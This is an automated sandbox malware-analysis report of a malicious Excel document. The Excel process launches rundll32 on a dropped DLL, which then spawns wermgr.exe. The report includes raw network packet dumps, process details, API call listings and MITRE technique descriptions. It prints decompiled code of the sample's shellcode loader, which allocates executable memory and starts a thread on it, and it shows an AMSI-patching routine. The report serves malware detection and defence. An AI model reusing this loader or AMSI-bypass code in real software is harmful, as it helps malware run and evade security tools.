55 bd e4 ce 1f dd 7a e7 cd 3f a8 be e5 e6 1f fe f0 47 e1 ea ff 5e 5c 7d a7 fa c3 ea db 7e 58 5d 77 9d af fa 07 3f 5a b4 f8 e2 b2 b2 12 77 2a c7 c9 eb ba e7 fc ed e2 27 cf 4e ff e2 97 fe fd ec 47 53 e7 07 e1 d7 07 df 4f e9 df 4f 9d 7d db 25 4f 9e 3d ed b2 df 9e bd 09 be af bf f4 b1 b3 cf d3 df 8f 9f 3d 11 de d6 09 7f 3a fb ef fa f7 d3 c6 fb b6 5b 42 2c c7 48 bd 4b 22 42 b3 2d 76 f4 cb ef dd 7e 53 fa ae 1f 8d 3d af 14 ee 50 0b a8 51 6b d7 ef ae 9a 6a 41 48 80 c3 5a a6 10 9c 04 fd a9 eb 85 90 f9 46 bb 4a 0c 1c fc 59 91 01 35 be 85 cc 3d 7b d5 de 5c 84 7c fa 97 1d 71 16 a4 d7 79 52 c8 64 31 ff 6e 2a 41 8b 1a 8d ba 55 ff 8b 5d a4 ff 2a c6 d8 91 c0 8f 1c bf 38 bc 78 79 18 de 57 a8 9c d1 50 0b 97 e9 2f fd 57 0d d5 2f be 73 d1 cd e1 9b 11 fa e5 6b 46 0f 20 4e 5a 83 cc 5f 2d fc bf d8 80 a1 27 57 c3 63 49 91 61 1c f6 ce c5 c5 2e be cd 00 56 5e ca 6e ec 06 ee d9 02 b8 3b ef ba f3 16 96 4f 48 ed a0 1a de 89 53 70 b5 17 df b9 f8 f6 1f 01 f0 e2 c5 48 d7 0a 2d 81 b7 50 92 8f bb 66 64 25 be fe fb fa ef eb bf af ff be fe fb fa ef eb bf af ff be fe fb fa ef eb bf af ff fe ff fa 6b ff 4b 13 27 90 1b ab 2d 48 96 37 ad 59 59 24 44 16 c7 91 5f 13 13 8a 25 2a 26 1a 25 85 57 90 a6 26 c9 be a9 1c c2 5e 1e ee 24 72 d1 56 2b dc c5 5b 16 27 51 d4 9b 20 4f 6d b3 42 68 08 8b 7c e3 22 ad 8c 25 ed ed e0 10 0d bb 39 46 96 c9 df 80 1a e9 12 e0 6e 2e 8e cb 72 54 1c 96 14 bb 62 25 f7 b1 94 22 8f bd c3 1a 3c 92 da 2c 2e c3 83 b0 4c 7e 92 c3 8b 8a 49 49 29 55 6c e4 3a 9d 96 ec ed d4 91 70 23 93 79 85 90 1c b9 20 0f c9 c9 e4 e2 42 c8 22 f2 d5 95 b9 c8 22 99 70 85 90 76 f2 5a 1e d2 2e 93 b7 ae cc 45 9e 94 14 ab 52 4c 7e 07 d7 41 2c 9e ec ed 74 6e ad 73 73 fa a5 4c fe 58 08 cc 93 1f 9f 0a e6 65 d2 92 01 b7 f7 b2 35 fd e5 1c 58 93 5f 99 4e 7e c5 db 10 4e cc d7 d4 84 27 56 93 d0 c4 64 d8 89 77 92 77 7a ac a8 c7 3e 75 2d 27 e0 6e 58 48 66 1b 9d 50 ca 13 93 24 89 aa 55 54 ad a4 6a 05 55 05 aa 3a 42 09 80 92 f5 21 84 1a 3a aa 90 1f 1f 26 15 00 3f 5a e7 e6 2d e1 62 3f 59 00 45 e6 e3 ee 46 28 7f a8 e9 75 2b 6a af 06 78 67 4a 0d 05 31 3d ac 8a 45 26 37 58 6c 4c 92 48 57 a5 a1 4a a8 fa 8e 22 41 41 f0 8f 63 e1 cb 21 1c e9 aa 32 85 4c 53 61 c5 67 e6 53 dd 26 15 c2 5f a2 02 54 1b 50 61 e7 6f a3 3c ea 04 93 0a e1 ad 79 d4 93 8c 0a 35 99 09 1e 87 18 13 5b e7 1a 7a 87 26 99 6c 40 ac 1a 89 0d c6 58 5c 80 3d d9 64 03 e2 da 0c bb fd 08 5b 5b b2 0a d6 26 6f 5a b3 b2 48 88 2c 8e 23 bf 26 26 14 4b 54 4c 34 b2 ac 3c 64 b5 cb 9a 9a 24 0e 36 91 97 87 bc 10 93 48 cf df ad 48 53 e3 2d 8b 93 28 ea 4d 90 6b 5f b6 42 74 08 8b 7c 66 af 50 40 9f 7c 8a 59 1d Data Ascii: 1faar`SIr^bU@EoU-l#x15pR,M77C6'Z:"Z`P4p7MB={~>{ZdCqvd7m,2[fBUz?G^\}~X]w?Zw'NGSOO}%O==:[B,HK"B-v~S=PQkjAHZFJY5={\\|qyRd1nAU]8xyWP/W/skF NZ_-'WcIa.V^n;OHSpH-Pfd%kK'-H7YY$D_%&%W&^$rV+['Q OmBh\|"%9Fn.rTb%"<,.L~II)Ul:p#y B""pvZ.ERL~A,tnssLXe5X_N~N'Vdwwz>u-'nXHfP$UTjU:B!:&?Z-b?YEF(u+jxgJ1=E&7XlLHWJ"AAc!2LSagS&_TPao<y5[z&l@X\=d[[&oZH,#&&KTL4<d$6HHS-(Mk_Bt\|fP@\|Y
Apr 7, 2021 05:54:07.883990049 CEST	3	IN	Data Raw: ec f8 4f 6a 2d dc 3b b8 ef 29 88 e5 f7 3e d5 64 03 e2 fe 91 d8 60 c7 ef 17 60 4f 37 d9 80 f8 4e 86 dd 7e ee 4d 30 b9 f5 3f 4d 3e 46 9f 7c 1c b5 66 4f fe ef bf e5 4c fe 9d 7f 8c 38 79 ad 59 7d 8c 4c 5e 39 99 a9 fe 3d 56 7d f5 f8 ff 50 bd 44 af be Data Ascii: Oj-;)>d``O7N~M0?M>F\|fOL8yY}L^9=V}PDdNr%2yL.e%:BxDwSEm2`K&a/c]wm.ZkhE>V&#I2yjL6 JdrB#eR}Dcm'ky^dR!\|~!
Apr 7, 2021 05:54:07.884031057 CEST	4	IN	Data Raw: db 36 6d 6e a2 95 62 a9 5a 6b 26 4b 97 80 e4 b6 d7 b4 b9 c3 d1 8a b1 3f 2d 6e 13 4b 9d 2f 5a b1 9a 88 2c 4e a2 e8 94 fb b0 38 6c 3b 8c 91 6d 5b 4b 73 29 0a bb 71 df c4 06 10 34 3e 68 c3 0d f1 9f 56 d5 ac de 1f 2e 9b 7a ae 3a 86 8a c9 99 2d df 46 Data Ascii: 6mnbZk&K?-nK/Z,N8l;m[Ks)q4>hV.z:-F!H-kjonCJ*EaC\S#;7zm}:uR4S+<C(\$t1!IaQn-cQn1v[bu^-v-yWnGn_pJScn[]n5
Apr 7, 2021 05:54:07.884072065 CEST	6	IN	Data Raw: cc 5a c4 a5 9f 77 30 4f 91 31 fa 79 80 99 89 9c a8 64 e7 03 cc 45 e4 30 3b 8b 71 fc 8a a4 5b c7 f2 39 a5 92 11 2b 26 a7 eb 9c b8 1e b8 e2 2c 0e 29 cc c0 13 3f 85 ba 3a 81 dc 79 58 07 ef 06 00 4f 0e 55 9a e0 31 67 e9 49 21 24 91 81 cb 40 7b 68 10 Data Ascii: Zw0O1ydE0;q[9+&,)?:yXOU1gI!$@{hcHWh+v[DPB?f*gD<^J,ZL.b9(ylb"sL229wIxE"S-B:nb5%3)K_@J"+Jg3LWN~I'&-K7%
Apr 7, 2021 05:54:07.884110928 CEST	7	IN	Data Raw: b2 34 f2 4e 13 39 96 8c 31 91 ff 4c 21 43 19 e4 2c 13 e9 24 ef 6c cc 20 1f 4e 23 33 d5 cf 31 91 02 79 de 44 de 91 42 ce cb 20 87 36 65 90 e5 04 9b c8 99 29 e4 a4 4c f5 7f 01 12 50 e3 18 9a dc 6c 22 cf 4e 21 13 4b d3 c8 8d 66 ce d3 c8 95 26 f2 c8 Data Ascii: 4N91L!C,$l N#31yDB 6e)LPl"N!Kf&#r e&P`C2aviw>>fAsm~8,[LZz-,5mq:y-<-.*JE&=e3d<wxd55.XA~^HC!kj"83=QwbvxM
Apr 7, 2021 05:54:07.884160995 CEST	8	IN	Data Raw: d7 72 42 8f 3d b6 8e 13 70 77 53 63 ba 8b 54 ad 5b 07 29 cd d4 5a 68 d6 8a 6c 5b 28 87 88 0d dc 1e 76 3b 48 a5 64 43 6c c2 36 48 d2 d9 fe 24 eb e0 2c e8 20 12 af f5 07 f0 71 82 3f b7 a2 e8 b2 85 ca 18 bc 93 dc b2 87 d2 a8 f7 00 e9 29 e2 8c 66 bc Data Ascii: rB=pwScT[)Zhl[(v;HdCl6H$, q?)f]pzwtIyF?<p_8s)gymJ%#f'.;[PT'>b?nBH"+K@gIch%hg=8e- dK!zN6Y)}d3;b9(-EVJK
Apr 7, 2021 05:54:07.884197950 CEST	9	IN	Data Raw: a7 cd d7 4f 8e c0 86 be 5e 28 c0 5e 92 b3 ca 75 23 b1 61 57 cb 0b b0 c3 39 db f4 67 d8 2c cc 4b c6 33 b4 3c 67 8f 97 9e 34 74 e4 73 41 2b 4c 90 5d 26 8e c2 a0 16 13 54 2c 93 8f 4e 14 04 ad 36 41 bc 4c 3a 0a 83 da 4c d0 18 d8 7f 61 d0 1a 13 54 02 Data Ascii: O^(^u#aW9g,K3<g4tsA+L]&T,N6AL:LaT5A23A\yb$eL/+ueg!3X\|4<&dr8ef2y.Y&\&l*VLd`-&s3'7tT"v,C<kO!X %YG:Bq&uTAN 7
Apr 7, 2021 05:54:07.884239912 CEST	10	IN	Data Raw: 31 66 61 30 0d 0a af 84 de 95 29 58 29 93 ba 2f 73 84 7e be 25 a7 da a5 05 aa 15 10 7a b7 29 34 a4 3c 7c 3c 2d 34 78 53 8e b0 54 62 52 41 92 32 06 4a 5a 64 f2 da f1 54 c9 4a c5 42 61 e0 b3 8e c0 b7 c8 f7 76 70 85 08 56 99 6c cc 23 1c fa 7c 34 82 Data Ascii: 1fa0)X)/s~%z)4<\|<-4xSTbRA2JZdTJBavpVl#\|4M&?#JdrU\BH&'&w03IXb+^&L]gK#pY}e{sVr+l0[5\|W/]5ArJG%#'
Apr 7, 2021 05:54:07.884279966 CEST	12	IN	Data Raw: b8 cd 10 2f 49 cc 45 b1 e8 3e 11 72 19 0b a9 64 29 c5 54 0d 31 55 54 74 18 15 96 43 05 b6 2e 0b 53 e7 45 92 5a d7 54 b6 ae 4a 82 de 4b ad ab 02 39 b7 c2 44 52 a8 c5 6c 08 d4 b8 9f 64 af df b9 55 74 b0 8a 52 54 74 84 56 a7 f2 5a 15 24 93 a6 74 de Data Ascii: /IE>rd)T1UTtC.SEZTJK9DRldUtRTtVZ$tA\|7/beMwh[(,`krBREO]cGIu9_C(W2LP)cf: nS`w}7]npd]S7rHTy9\|Q$^
Apr 7, 2021 05:54:07.884320021 CEST	13	IN	Data Raw: f5 1a ce e0 42 37 e4 b4 fb e2 9e 51 da 85 25 fc 6a 4f 6e bb fd af e6 98 39 8f 00 d2 07 f3 08 cf 8c 4a 28 92 c9 e5 79 84 95 b9 84 a8 78 92 81 61 6c c5 2e 13 1e c0 41 2c 9e 34 d5 9f 97 1e 87 57 78 99 90 37 47 19 07 e2 db df cc 2d 56 6e 16 f3 c4 24 Data Ascii: B7Q%jOn9J(yxal.A,4Wx7G-Vn$IR,JLTvff"8!xP3)g4vQZ0"3`> K<X+snR(dh&cqpAl_J}71)\|Yo4.OC-l)
Apr 7, 2021 05:54:08.045336962 CEST	15	IN	Data Raw: 14 09 ce 42 90 bc a7 7e f6 ba 0d 9c d0 53 2f 2d 67 2f fb 00 64 c4 dd e9 62 bd 1d 1c 82 9c a4 02 ce 47 eb dc bc 25 5c ec 27 fc 23 56 34 1f 30 10 6b b7 29 50 fa dd bf 30 bd 04 00 06 34 75 20 95 a3 7e 52 8f 98 84 a1 d1 b1 be f1 b1 d6 98 26 26 c2 b5 Data Ascii: B~S/-g/dbG%\'#V40k)P04u ~R&&Q1_M<!Kg#m[2zblQ@e.@j'$5}l$dM\gE:*+b2,N0M2muU)V[{9]bR kjT39pyml^yM

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2300 Parent PID: 584

General

Start time:	05:53:35
Start date:	07/04/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f810000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2556 Parent PID: 2300

General

Start time:	05:53:40
Start date:	07/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\sdbybsd.fds,StartW
Imagebase:	0xfff10000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2564 Parent PID: 2556

General

Start time:	05:53:40
Start date:	07/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 ..\sdbybsd.fds,StartW
Imagebase:	0x550000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wermgr.exe PID: 2364 Parent PID: 2564

General

Start time:	05:53:41
Start date:	07/04/2021
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\wermgr.exe
Imagebase:
File size:	50688 bytes
MD5 hash:	41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 2564 Parent PID: 2556 rundll32.exeCOMMON

Executed Functions

Function 01ED1030, Relevance: 18.4, APIs: 12, Instructions: 362libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(01ED4054), ref: 01ED1047
GetProcAddress.KERNEL32(00000000), ref: 01ED104E

Part of subcall function 01ED1B30: SetLastError.KERNEL32(0000000D,?,01ED1070,?,00000040), ref: 01ED1B3D

SetLastError.KERNEL32(000000C1), ref: 01ED1096

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 2d96e928bc257044086b7cf2bf2a43341a5fdd136314b03d895abc38310fecfc
Instruction ID: 00939472c0f14c4ffd2f076fac62cb05386da5e37e440305beffe42d1e16b62e
Opcode Fuzzy Hash: 2d96e928bc257044086b7cf2bf2a43341a5fdd136314b03d895abc38310fecfc
Instruction Fuzzy Hash: 26F1EAB4E01209EFDB04DF98D984AAEBBB1FF48304F209558E915AB341D735EE42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 023B1000, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101
windowtimesleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E023B1000() {
				_Unknown_base(*)()* _v8;
				void* _v12;
				struct tagMSG _v40;
				long _v44;
				struct HWND__* _v48;
				long _v52;
				void* _v56;
				void* _t38;
				void* _t43;
				int _t45;

				SetTimer(0, 0, 0x25b, 0); // executed
				while(GetMessageW( &_v40, 0, 0, 0) != 0) {
					_v40.message = _v40.message + 1;
					if(_v40.message != 0x114) {
						DispatchMessageW( &_v40);
						continue;
					} else {
					}
					break;
				}
				_v12 = 0;
				_v48 = 0;
				_v52 = 0x5000;
				while(_v52 > 0x1000) {
					_v52 = _v52 - 1;
				}
				_v44 = _v52;
				while(_v44 > 0x40) {
					_v44 = _v44 - 1;
				}
				do {
					_t38 = VirtualAlloc(_v12, 0x43000, _v52, _v44); // executed
					_v8 = _t38;
					if(_v8 == 0) {
						Sleep(0x1f4);
					}
				} while (_v8 == 0);
				_v48 =  &(_v48->i);
				E023B1140(_v48, _v8);
				_t43 = CreateThread(0, 0, _v8, 1, 0, 0); // executed
				_v56 = _t43;
				SetTimer(0, 0, 0x2000, 0); // executed
				while(1) {
					_t45 = GetMessageW( &_v40, 0, 0, 0);
					if(_t45 == 0) {
						break;
					}
					_v40.message = _v40.message + 1;
					if(_v40.message == 0x114) {
						return _t45;
					}
					DispatchMessageW( &_v40);
				}
				return _t45;
			}

0x023b1011
0x023b1017
0x023b1031
0x023b103b
0x023b1043
0x00000000
0x00000000
0x023b103d
0x00000000
0x023b103b
0x023b104b
0x023b1052
0x023b1059
0x023b1060
0x023b106f
0x023b106f
0x023b1077
0x023b107a
0x023b1086
0x023b1086
0x023b108b
0x023b109c
0x023b10a2
0x023b10a9
0x023b10b0
0x023b10b0
0x023b10b6
0x023b10c2
0x023b10cd
0x023b10e0
0x023b10e6
0x023b10f4
0x023b10fa
0x023b1104
0x023b110c
0x00000000
0x00000000
0x023b1114
0x023b111e
0x00000000
0x00000000
0x023b1126
0x023b1126
0x023b1131

APIs

SetTimer.USER32(00000000,00000000,0000025B,00000000), ref: 023B1011
GetMessageW.USER32 ref: 023B1021
DispatchMessageW.USER32(?), ref: 023B1043
VirtualAlloc.KERNELBASE(00000000,00043000,00001000,00000040), ref: 023B109C
Sleep.KERNEL32(000001F4), ref: 023B10B0
CreateThread.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000), ref: 023B10E0
SetTimer.USER32(00000000,00000000,00002000,00000000), ref: 023B10F4
GetMessageW.USER32 ref: 023B1104
DispatchMessageW.USER32(?), ref: 023B1126

Strings

@, xrefs: 023B107A

Memory Dump Source

Source File: 00000004.00000002.2089600181.00000000023B1000.00000020.00000001.sdmp, Offset: 023B0000, based on PE: true

Associated: 00000004.00000002.2089576640.00000000023B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2089651737.00000000023E4000.00000002.00000001.sdmp Download File

Similarity

API ID: Message$DispatchTimer$AllocCreateSleepThreadVirtual
String ID: @
API String ID: 368155642-2766056989
Opcode ID: 42ab4da73cb943e74d64eae3adb8fd392831428a2cac7d910fb10c38012bc9a1
Instruction ID: e99293474c54d28542be65dd5d6eed59cc503813c4aa06d5e16b87fa9608c2e7
Opcode Fuzzy Hash: 42ab4da73cb943e74d64eae3adb8fd392831428a2cac7d910fb10c38012bc9a1
Instruction Fuzzy Hash: 524109B0E44208EBEB20CFA4DD59BDDBB78BF48B05F104518E705BA6C0D7B5A904DB64

Uniqueness

Uniqueness Score: -1.00%

Function 023F079D, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 412processlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 023F08AD
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 023F09BB
CreateProcessInternalW.KERNEL32(?,00000000,?,00000000,00000000,00000000,0800000C,00000000,?,?,?), ref: 023F0A7A
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 023F0D2B
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,?,?), ref: 023F0D61

Strings

L!m>, xrefs: 023F0B34
L!m>, xrefs: 023F0BA3

Memory Dump Source

Source File: 00000004.00000002.2089672404.00000000023F0000.00000040.00000001.sdmp, Offset: 023F0000, based on PE: false

Similarity

API ID: CreateProcessWow64$AddressDirectoryDisableInternalProcRedirectionSystem
String ID: L!m>$L!m>
API String ID: 2693396481-4066150234
Opcode ID: cb6e4752173ce1de299ff5aba0dc062fb1bb6767c6b2cb7612c1fa15cb392a95
Instruction ID: ef402e091509980213c10889dbc38495c0560a939211a7a3639f6d64c22bbf3e
Opcode Fuzzy Hash: cb6e4752173ce1de299ff5aba0dc062fb1bb6767c6b2cb7612c1fa15cb392a95
Instruction Fuzzy Hash: CCF18174209340DFDBA8CB1DE490B2E77E2AB89744F50485AF685CB7A6D771E884CF12

Uniqueness

Uniqueness Score: -1.00%

Function 01ED14A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 01ED14DB
SetLastError.KERNEL32(0000007F), ref: 01ED1507

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: fcadbf41d4eed61a6a76b1b6767526f09ed4836985caabb5a6f1977191542c90
Instruction ID: ca06ee470299ef00c07bd272abbf98f7fcd91d67b86efe72ca0a4415c8cffcb4
Opcode Fuzzy Hash: fcadbf41d4eed61a6a76b1b6767526f09ed4836985caabb5a6f1977191542c90
Instruction Fuzzy Hash: B971E974E04109EFDB08DF98C580AADB7B2FF48304F649599D516AB385D734EA82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01ED21A0, Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 01ED21F9
SetLastError.KERNEL32(0000007E), ref: 01ED223B

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: d4dbcebb531a88bd5745d06f0d9d12b3d14061008137d689838a9809cb3c1c8c
Instruction ID: a44af36c4cca7eb34656ef2177a8d66c8ecec3a1d851fd1c216b6b66aed261ce
Opcode Fuzzy Hash: d4dbcebb531a88bd5745d06f0d9d12b3d14061008137d689838a9809cb3c1c8c
Instruction Fuzzy Hash: 5D81BB74A0020ADFDB04CF98C894BAEBBB1FF48314F149158E909AB355C735EA82CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0034002D, Relevance: 4.9, APIs: 3, Instructions: 387memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,00340005), ref: 003400E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00340005), ref: 00340111

Memory Dump Source

Source File: 00000004.00000002.2088914925.0000000000340000.00000040.00000001.sdmp, Offset: 00340000, based on PE: false

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 72775b2bb7b7ab650934ec013c767489bb5e58563a53b7a0569e50bdc43e95a8
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 3DD1BC75B043068FD7298F69C88076AB7E0FF94308F19892DEA959F281E774F845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 01ED1D10, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f372c6891554953854634dc3181ebda8542e602936dd3912cbc4dec21e9afde
Instruction ID: 738903f4564639c00d4dabbafb6e64a00e750a9e7fe576216b0bcbe3586e8c70
Opcode Fuzzy Hash: 4f372c6891554953854634dc3181ebda8542e602936dd3912cbc4dec21e9afde
Instruction Fuzzy Hash: F541B574A00209AFEB04DF48C494BAEB7B2FB88315F24D159ED199B355C775EA82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01ED19F0, Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,01ED1A51,00003000,00000004,000000BE,?,01ED1A51,?), ref: 01ED1A01

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 27b8d631c16273225209090ec8d5c342b6bdf2fe47847c2091799df4d8ce508a
Instruction ID: 86f2af6d3e455513e375c34b9b1cbbb17d17baf4b5fbeccd40dbc47b57bb69c0
Opcode Fuzzy Hash: 27b8d631c16273225209090ec8d5c342b6bdf2fe47847c2091799df4d8ce508a
Instruction Fuzzy Hash: 94D0C9B4645208BBE710CA85D806F69BBACE704711F004185FE089B280D5B1AE0057A1

Uniqueness

Uniqueness Score: -1.00%

Function 01ED1820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 01ED182F

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ad673cc819333853f71af0e618018915522401325962db0b60a5a8a27aacace1
Instruction ID: c4b5cf94b46805ee2577ddf3f2115f4455a870b4d192aae878581758c82dac30
Opcode Fuzzy Hash: ad673cc819333853f71af0e618018915522401325962db0b60a5a8a27aacace1
Instruction Fuzzy Hash: D4C04CBA11430CAB8B14DF99E884DAB37ADBB8C710B04C508BA1D87204C630F9108BA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0034095E, Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2088914925.0000000000340000.00000040.00000001.sdmp, Offset: 00340000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction ID: 9077135d36c6720ed32a8fef53ff6d8153b4d6dccf044cadd543ebcf897b0744
Opcode Fuzzy Hash: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction Fuzzy Hash: DAF1D7B4A01209EFDB09CF94C994AAEB7F5FF48304F208558EA06AB345D775EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00340456, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2088914925.0000000000340000.00000040.00000001.sdmp, Offset: 00340000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: 9a0f19b8fae614c38310498d527d4f45a752d8f530173beea7c265d76f3c15c2
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: 1231A276A0874A8FC715DF19C48092AB7E4FF89314F0609ADEB958B312D334F9468F91

Uniqueness

Uniqueness Score: -1.00%

Function 01ED25E0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(01ED4070,00000000,00000800), ref: 01ED25F9
GetProcAddress.KERNEL32(00000000,01ED4078), ref: 01ED2615
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 01ED2650
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 01ED2671

Strings

AMSI, xrefs: 01ED263C

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 05de2bc97d4174954e82e75bbf9387772cfc815b9d59e0c471ef4dacfa9ed09a
Instruction ID: f8e1474d07f12bd913a8fd99ec6d47bf495f34a7d5ed748725fa4d8d7576cf98
Opcode Fuzzy Hash: 05de2bc97d4174954e82e75bbf9387772cfc815b9d59e0c471ef4dacfa9ed09a
Instruction Fuzzy Hash: A31116B4E0130AEFCB14CF94D849BAEBBB4FF48304F108599E612AB380D7706A45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 01ED2430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 01ED2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 01ED24B2

Strings

@, xrefs: 01ED2453

Memory Dump Source

Source File: 00000004.00000002.2089334220.0000000001ED1000.00000020.00000001.sdmp, Offset: 01ED1000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 889a29e810c94c8ad5ff9274976edda71e34c9acfd20f1e370cacc7c2d6a12e0
Instruction ID: 7058a31befbe779b8966bf84171847932fe044e06354b48c30bd0aa310ac1368
Opcode Fuzzy Hash: 889a29e810c94c8ad5ff9274976edda71e34c9acfd20f1e370cacc7c2d6a12e0
Instruction Fuzzy Hash: 0821E9B090020AEFDF14CF98C980BADBBB5BF48304F149199DE05AB245C774AA81DB55

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

